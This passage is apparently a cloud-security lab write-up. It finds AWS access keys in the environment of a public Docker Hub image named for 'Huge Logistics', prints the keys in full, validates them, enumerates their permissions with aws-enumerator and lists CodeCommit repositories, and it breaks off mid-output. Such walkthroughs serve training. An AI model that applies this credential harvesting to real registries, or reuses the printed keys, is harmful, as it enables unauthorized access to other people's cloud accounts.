<h2 id="real-world-context">Real World Context</h2>
<p>Containerization has emerged as a foundational element for interconnected services, with Docker standing out as the leading containerization platform. Docker Hub comprises more than 9,000,000 images anybody can use. In an important <a href="https://arxiv.org/pdf/2307.03958.pdf">study</a> of container security, researchers from RWTH Aachen University examined 337,171 images from Docker Hub along with 8,076 from private repositories. They discovered that over 8% of these images had confidential data, such as private keys and API secrets. Specifically, they identified 52,107 private keys and 3,158 exposed API secrets. Of those API secrets, 2,920 API secrets belong to cloud providers, with the researchers identifying 1,213 secrets for the AWS API.</p>
<h2 id="entry-point">Entry Point</h2>
<p><a href="https://hub.docker.com/search">https://hub.docker.com/search</a></p>
<hr>
<h2 id="attack">Attack</h2>
<h3 id="docker-hub-graphical">Docker Hub (Graphical)</h3>
<p>We start enumeration on Docker Hub to see if we are able to find any images that could be related to Huge Logistics and we get a hit as shown below which is one of the community images:</p>
<p><img src="/assets/pwn_20240709135212.png" alt=""></p>
<p>The name definitely is interesting as Terraform is used for Provisioning and there is definitely a high chance that it will contain something of interest.  We look at the Tags and we can see just one which is version 0.12</p>
<p><img src="/assets/pwn_20240709135418.png" alt=""></p>
<h3 id="docker-cli">Docker CLI</h3>
<p>Using the <code>docker</code> command we are able to search and we find the same details</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ docker search <span style="color:#e6db74">&#34;huge logistics&#34;</span>
</span></span><span style="display:flex;"><span>NAME                                             DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED
</span></span><span style="display:flex;"><span>hugecannon/factorio                              Runs factorio game server                       <span style="color:#ae81ff">8</span>                    <span style="color:#f92672">[</span>OK<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>hugegraph/hugegraph                              Apache HugeGraph-Server Official Version        <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>hugegraph/busybox                                test image                                      <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>hugegraph/hugegraph-computer-operator            Apache HugeGraph Computer Operator Image        <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>hugegraph/hubble                                 Apache HugeGraph analysis dashboard <span style="color:#f92672">(</span>data lo…   <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>hljose/huge-logistics-terraform-runner           Huge Logistics Terraform Runner                 <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>omarqazi/logistics                                                                               <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>esignbr/logistics-test-selenium                  Project <span style="color:#66d9ef">for</span> UI testing the Logistics applica…   <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span></code></pre></div><p>We can also view information about the tags</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s https://hub.docker.com/v2/repositories/hljose/huge-logistics-terraform-runner/tags | jq .
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;count&#34;</span>: 1,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;next&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;previous&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;results&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;creator&#34;</span>: 22687041,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;id&#34;</span>: 478187065,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;images&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;architecture&#34;</span>: <span style="color:#e6db74">&#34;amd64&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;features&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;variant&#34;</span>: null,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;digest&#34;</span>: <span style="color:#e6db74">&#34;sha256:9f2719775ca8537023b9f1c126a2b36d6b59998d9e54e3d2e0b87b0d80e75707&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;os&#34;</span>: <span style="color:#e6db74">&#34;linux&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;os_features&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;os_version&#34;</span>: null,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;size&#34;</span>: 53176705,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;status&#34;</span>: <span style="color:#e6db74">&#34;active&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;last_pulled&#34;</span>: <span style="color:#e6db74">&#34;2024-07-07T12:21:24.015417Z&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;last_pushed&#34;</span>: <span style="color:#e6db74">&#34;2023-07-19T22:30:57.409626Z&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;last_updated&#34;</span>: <span style="color:#e6db74">&#34;2023-07-19T22:30:57.527145Z&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;last_updater&#34;</span>: 22687041,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;last_updater_username&#34;</span>: <span style="color:#e6db74">&#34;hljose&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;0.12&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;repository&#34;</span>: 20534833,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;full_size&#34;</span>: 53176705,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;v2&#34;</span>: true,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;tag_status&#34;</span>: <span style="color:#e6db74">&#34;active&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;tag_last_pulled&#34;</span>: <span style="color:#e6db74">&#34;2024-07-07T12:21:24.015417Z&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;tag_last_pushed&#34;</span>: <span style="color:#e6db74">&#34;2023-07-19T22:30:57.527145Z&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;media_type&#34;</span>: <span style="color:#e6db74">&#34;application/vnd.docker.container.image.v1+json&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;content_type&#34;</span>: <span style="color:#e6db74">&#34;image&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;digest&#34;</span>: <span style="color:#e6db74">&#34;sha256:9f2719775ca8537023b9f1c126a2b36d6b59998d9e54e3d2e0b87b0d80e75707&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Now that we have seen a couple of ways to get the information, lets pull the image from the registry.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ docker pull hljose/huge-logistics-terraform-runner:0.12
</span></span><span style="display:flex;"><span>0.12: Pulling from hljose/huge-logistics-terraform-runner
</span></span><span style="display:flex;"><span>31e352740f53: Pulling fs layer
</span></span><span style="display:flex;"><span>733c1bd26773: Pulling fs layer
</span></span><span style="display:flex;"><span>3ee224966b84: Pulling fs layer
</span></span><span style="display:flex;"><span>661b6e1c6136: Waiting
</span></span><span style="display:flex;"><span>e3f8a0cccb2d: Waiting
</span></span><span style="display:flex;"><span>dc8d5954d00c: Waiting
</span></span><span style="display:flex;"><span>1630fa498485: Waiting
</span></span></code></pre></div><p>We can also run <code>docker scout</code>, but as I am not using Docker Desktop, we have to install this manually which we can do with the following commands</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -fsSL https://raw.githubusercontent.com/docker/scout-cli/main/install.sh -o install-scout.sh
</span></span><span style="display:flex;"><span>sh install-scout.sh
</span></span></code></pre></div><p>Once it is installed, we run the <code>--help</code> command to see what the options are</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ docker scout --help
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> Command line tool <span style="color:#66d9ef">for</span> Docker Scout
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Usage
</span></span><span style="display:flex;"><span>  docker scout <span style="color:#f92672">[</span>command<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Available Commands
</span></span><span style="display:flex;"><span>  attestation             Manage attestations on image indexes
</span></span><span style="display:flex;"><span>  cache                   Manage Docker Scout cache and temporary files
</span></span><span style="display:flex;"><span>  compare                 Compare two images and display differences <span style="color:#f92672">(</span>experimental<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  config                  Manage Docker Scout configuration
</span></span><span style="display:flex;"><span>  cves                    Display CVEs identified in a software artifact
</span></span><span style="display:flex;"><span>  enroll                  Enroll an organization with Docker Scout
</span></span><span style="display:flex;"><span>  environment             Manage environments <span style="color:#f92672">(</span>experimental<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  help                    Display information about the available commands
</span></span><span style="display:flex;"><span>  integration             Commands to list, configure, and delete Docker Scout integrations
</span></span><span style="display:flex;"><span>  policy                  Evaluate policies against an image and display the policy evaluation results <span style="color:#f92672">(</span>experimental<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  push                    Push an image or image index to Docker Scout <span style="color:#f92672">(</span>experimental<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>  quickview               Quick overview of an image
</span></span><span style="display:flex;"><span>  recommendations         Display available base image updates and remediation recommendations
</span></span><span style="display:flex;"><span>  repo                    Commands to list, enable, and disable Docker Scout on repositories
</span></span><span style="display:flex;"><span>  version                 Show Docker Scout version information
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Use <span style="color:#e6db74">&#34;docker scout [command] --help&#34;</span> <span style="color:#66d9ef">for</span> more information about a command.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Learn More
</span></span><span style="display:flex;"><span>  Read docker scout cli reference at https://docs.docker.com/engine/reference/commandline/scout/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Report Issues
</span></span><span style="display:flex;"><span>  Raise bugs and feature requests at https://github.com/docker/scout-cli/issues
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Send Feedback
</span></span><span style="display:flex;"><span>  Send feedback with docker feedback
</span></span></code></pre></div><p>There are two commands that look interesting which are <code>quickview</code> and <code>cves</code> which we will run against the image</p>
<blockquote>
<p>You must be logged into Docker via the CLI to run <code>docker scout</code></p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ docker scout quickview hljose/huge-logistics-terraform-runner:0.12
</span></span><span style="display:flex;"><span>    ✓ Image stored <span style="color:#66d9ef">for</span> indexing
</span></span><span style="display:flex;"><span>    ✓ Indexed <span style="color:#ae81ff">93</span> packages
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    i Base image was auto-detected. To get more accurate results, build images with max-mode provenance attestations.
</span></span><span style="display:flex;"><span>      Review docs.docker.com ↗ <span style="color:#66d9ef">for</span> more information.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  Target               │  hljose/huge-logistics-terraform-runner:0.12  │    3C     6H    19M     1L     5?
</span></span><span style="display:flex;"><span>    digest             │  31bd0544dff8                                 │
</span></span><span style="display:flex;"><span>  Base image           │  alpine:3                                     │    2C     1H    10M     0L     4?
</span></span><span style="display:flex;"><span>  Refreshed base image │  alpine:3                                     │    1C     0H     0M     0L
</span></span><span style="display:flex;"><span>                       │                                               │    -1     -1    -10            -4
</span></span><span style="display:flex;"><span>  Updated base image   │  alpine:3.19                                  │    1C     0H     0M     0L     1?
</span></span><span style="display:flex;"><span>                       │                                               │    -1     -1    -10            -3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>What<span style="color:#960050;background-color:#1e0010">&#39;</span>s next:
</span></span><span style="display:flex;"><span>    View vulnerabilities → docker scout cves hljose/huge-logistics-terraform-runner:0.12
</span></span><span style="display:flex;"><span>    View base image update recommendations → docker scout recommendations hljose/huge-logistics-terraform-runner:0.12
</span></span><span style="display:flex;"><span>    Include policy results in your quickview by supplying an organization → docker scout quickview hljose/huge-logistics-terraform-runner:0.12 --org &lt;organization&gt;
</span></span></code></pre></div><p>List of CVEs</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ docker scout cves hljose/huge-logistics-terraform-runner:0.12
</span></span><span style="display:flex;"><span>    ✓ SBOM of image already cached, <span style="color:#ae81ff">93</span> packages indexed
</span></span><span style="display:flex;"><span>    ✗ Detected <span style="color:#ae81ff">9</span> vulnerable packages with a total of <span style="color:#ae81ff">34</span> vulnerabilities
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## Overview</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                    │                Analyzed Image
</span></span><span style="display:flex;"><span>────────────────────┼────────────────────────────────────────────────
</span></span><span style="display:flex;"><span>  Target            │  hljose/huge-logistics-terraform-runner:0.12
</span></span><span style="display:flex;"><span>    digest          │  31bd0544dff8
</span></span><span style="display:flex;"><span>    platform        │ linux/amd64
</span></span><span style="display:flex;"><span>    vulnerabilities │    3C     6H    19M     1L     5?
</span></span><span style="display:flex;"><span>    size            │ <span style="color:#ae81ff">62</span> MB
</span></span><span style="display:flex;"><span>    packages        │ <span style="color:#ae81ff">93</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## Packages and Vulnerabilities</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   1C     1H     6M     0L     4?  openssl 3.1.1-r1
</span></span><span style="display:flex;"><span>pkg:apk/alpine/openssl@3.1.1-r1?os_name<span style="color:#f92672">=</span>alpine&amp;os_version<span style="color:#f92672">=</span>3.18
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    ✗ CRITICAL CVE-2024-5535
</span></span><span style="display:flex;"><span>      https://scout.docker.com/v/CVE-2024-5535
</span></span><span style="display:flex;"><span>      Affected range : &lt;3.1.6-r0
</span></span><span style="display:flex;"><span>      Fixed version  : 3.1.6-r0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span></code></pre></div><p>There is a wealth of information, which would definitely be beneficial if this was running in a environment that we had access to, but at this stage we have gathered a lot of information about the container and lets run it and see what we can find inside the image.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ docker run --rm -it hljose/huge-logistics-terraform-runner:0.12 /bin/bash
</span></span><span style="display:flex;"><span>e918506ff677:/# ls
</span></span><span style="display:flex;"><span>bin        etc        lib        mnt        proc       run        srv        tmp        var
</span></span><span style="display:flex;"><span>dev        home       media      opt        root       sbin       sys        usr        workspace
</span></span></code></pre></div><p>We look at the <code>workspace</code> folder, but there is nothing there and as we look around we see a <code>.gitconfig</code> file in the <code>/root</code> directory and when we look at the environment variables, we can see AWS credentials</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>e918506ff677:~# ls -la
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>drwx------    <span style="color:#ae81ff">1</span> root     root          <span style="color:#ae81ff">4096</span> Jul <span style="color:#ae81ff">19</span>  <span style="color:#ae81ff">2023</span> .
</span></span><span style="display:flex;"><span>drwxr-xr-x    <span style="color:#ae81ff">1</span> root     root          <span style="color:#ae81ff">4096</span> Jul  <span style="color:#ae81ff">9</span> 07:57 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x    <span style="color:#ae81ff">3</span> root     root          <span style="color:#ae81ff">4096</span> Jul <span style="color:#ae81ff">19</span>  <span style="color:#ae81ff">2023</span> .cache
</span></span><span style="display:flex;"><span>-rw-r--r--    <span style="color:#ae81ff">1</span> root     root            <span style="color:#ae81ff">80</span> Jul <span style="color:#ae81ff">19</span>  <span style="color:#ae81ff">2023</span> .gitconfig
</span></span><span style="display:flex;"><span>e918506ff677:~# cat .gitconfig
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>credential<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>        helper <span style="color:#f92672">=</span> !aws codecommit credential-helper $@
</span></span><span style="display:flex;"><span>        UseHttpPath <span style="color:#f92672">=</span> true
</span></span><span style="display:flex;"><span>e918506ff677:~# env
</span></span><span style="display:flex;"><span>HOSTNAME<span style="color:#f92672">=</span>e918506ff677
</span></span><span style="display:flex;"><span>AWS_DEFAULT_REGION<span style="color:#f92672">=</span>us-east-1
</span></span><span style="display:flex;"><span>PWD<span style="color:#f92672">=</span>/root
</span></span><span style="display:flex;"><span>HOME<span style="color:#f92672">=</span>/root
</span></span><span style="display:flex;"><span>AWS_SECRET_ACCESS_KEY<span style="color:#f92672">=</span>iupVtWDRuAvxWZQRS8fk8FaqgC1hh6Pf3YYgoNX1
</span></span><span style="display:flex;"><span>TERM<span style="color:#f92672">=</span>xterm
</span></span><span style="display:flex;"><span>SHLVL<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>AWS_ACCESS_KEY_ID<span style="color:#f92672">=</span>AKIA3NRSK2PTOA5KVIUF
</span></span><span style="display:flex;"><span>PATH<span style="color:#f92672">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
</span></span><span style="display:flex;"><span>_<span style="color:#f92672">=</span>/usr/bin/env
</span></span><span style="display:flex;"><span>OLDPWD<span style="color:#f92672">=</span>/home
</span></span></code></pre></div><p>We load the credentials that we found and can confirm that these are valid and working</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: AKIA3NRSK2PTOA5KVIUF
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: iupVtWDRuAvxWZQRS8fk8FaqgC1hh6Pf3YYgoNX1
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDA3NRSK2PTAUXNEJTBN&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;785010840550&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::785010840550:user/prod-deploy&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>In addition to manually inspecting the container we could have also gotten the credentials using the <code>docker inspect hljose/huge-logistics-terraform-runner:0.12</code> command</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;</span> <span style="color:#960050;background-color:#1e0010">--</span> <span style="color:#960050;background-color:#1e0010">snip</span> <span style="color:#960050;background-color:#1e0010">--</span> <span style="color:#960050;background-color:#1e0010">&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Config&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Hostname&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Domainname&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;User&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachStdin&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachStdout&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachStderr&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Tty&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;OpenStdin&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;StdinOnce&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Env&#34;</span>: [
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;AWS_ACCESS_KEY_ID=AKIA3NRSK2PTOA5KVIUF&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;AWS_SECRET_ACCESS_KEY=iupVtWDRuAvxWZQRS8fk8FaqgC1hh6Pf3YYgoNX1&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;AWS_DEFAULT_REGION=us-east-1&#34;</span>
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Cmd&#34;</span>: [
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;/bin/bash&#34;</span>
</span></span><span style="display:flex;"><span>            ],
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;ArgsEscaped&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Image&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Volumes&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;/workspace&#34;</span>: {}
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;WorkingDir&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Entrypoint&#34;</span>: <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;OnBuild&#34;</span>: <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Labels&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;description&#34;</span>: <span style="color:#e6db74">&#34;Feature-packed DevOps Docker image with AWS, Azure, GCP CLI tools, Terraform, and common utilities.&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;maintainer&#34;</span>: <span style="color:#e6db74">&#34;jose@huge-logistics.com&#34;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }<span style="color:#960050;background-color:#1e0010">,</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;</span> <span style="color:#960050;background-color:#1e0010">--</span> <span style="color:#960050;background-color:#1e0010">snip</span> <span style="color:#960050;background-color:#1e0010">--</span> <span style="color:#960050;background-color:#1e0010">&gt;</span>
</span></span></code></pre></div><p>Now that we have credentials, lets enumerate with <code>aws-enumerator</code> to see what permissions that we have, first we need to add our credentials and then we can enumerate.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIA3NRSK2PTOA5KVIUF -aws_secret_access_key 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
</span></span><span style="display:flex;"><span>Message:  File .env with AWS credentials were created in current folder
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Filtered list of results</span>
</span></span><span style="display:flex;"><span>❯ aws-enumerator enum -services all
</span></span><span style="display:flex;"><span>Message:  Successful CODECOMMIT: <span style="color:#ae81ff">1</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>Message:  Successful DYNAMODB: <span style="color:#ae81ff">1</span> / <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>Message:  Successful STS: <span style="color:#ae81ff">2</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>Time: 1m8.265975631s
</span></span><span style="display:flex;"><span>Message:  Enumeration finished
</span></span></code></pre></div><p>We have 3 services that we have permissions, so we will dig into these further and see that we have the ability to <code>ListRepositories</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator dump -services codecommit, dynamodb, sts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>-------------------------------------------------- CODECOMMIT --------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ListRepositories
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>----------------------------------------------------------------------------------------------------------------
</span></span></code></pre></div><p>As we have permissions to CodeCommit, we shall use the AWS CLI to list the repositories and we can see that we have access to <code>vessel-tracking</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit list-repositories
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;repositories&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;repositoryName&#34;</span>: <span style="color:#e6db74">&#34;vessel-tracking&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;repositoryId&#34;</span>: <span style="color:#e6db74">&#34;beb7df6c-e3a2-4094-8fc5-44451afc38d3&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We list the repository and we can see the <code>defaultBranch</code> which begs the question, are there other branches?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester codecommit get-repository --repository-name vessel-tracking
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;repositoryMetadata&#34;</span>: <span style="color:#f92672">{</span>
